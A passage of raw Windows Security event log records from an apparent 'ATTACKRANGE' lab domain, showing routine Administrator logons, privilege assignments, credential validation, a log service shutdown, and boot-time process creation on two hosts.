-Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF68DC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245732 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF68DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245731 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245730 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245729 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF5115 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245728 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF5115 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245727 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF5115 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245726 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245725 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245724 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF4D20 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245723 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF4D20 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245722 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245721 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245720 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF498C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245719 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF498C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245718 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245717 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:40 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4616 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245752 -Keywords=Audit Success -Message=The system time was changed. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - Process ID: 0x4e4 - Name: C:\Windows\System32\svchost.exe - -Previous Time: ‎2021‎-‎03‎-‎01T12:31:46.156139200Z -New Time: ‎2021‎-‎03‎-‎01T12:31:46.151000000Z - -This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer. -03/11/2021 11:38:40 PM -LogName=Security -SourceName=Microsoft-Windows-Eventlog -EventCode=1100 -EventType=4 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Service shutdown -OpCode=Info -RecordNumber=245751 -Keywords=Audit Success -Message=The event logging service has shut down. -03/11/2021 11:39:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245756 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x274 - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245755 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Windows\System32\autochk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245754 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1bc - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x4 - Creator Process Name: - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4826 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Other Policy Change Events -OpCode=Info -RecordNumber=245753 -Keywords=Audit Success -Message=Boot Configuration Data loaded. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -General Settings: - Load Options: - - Advanced Options: No - Configuration Access Policy: Default - System Event Logging: No - Kernel Debugging: No - VSM Launch Type: Off - -Signature Settings: - Test Signing: No - Flight Signing: No - Disable Integrity Checks: No - -HyperVisor Settings: - HyperVisor Load Options: - - HyperVisor Launch Type: Off - HyperVisor Debugging: No -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245768 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245767 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4902 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245766 -Keywords=Audit Success -Message=The Per-user audit policy table was created. - -Number of Elements: 0 -Policy ID: 0x554F -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245765 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 0 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: - - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x4 - Process Name: - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: - - Authentication Package: - - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4608 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security State Change -OpCode=Info -RecordNumber=245764 -Keywords=Audit Success -Message=Windows is starting up. - -This event is logged when LSASS.EXE starts and the auditing subsystem is initialized. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245763 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x354 - New Process Name: C:\Windows\System32\lsass.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c4 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245762 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x34c - New Process Name: C:\Windows\System32\services.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2c4 - Creator Process Name: C:\Windows\System32\wininit.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 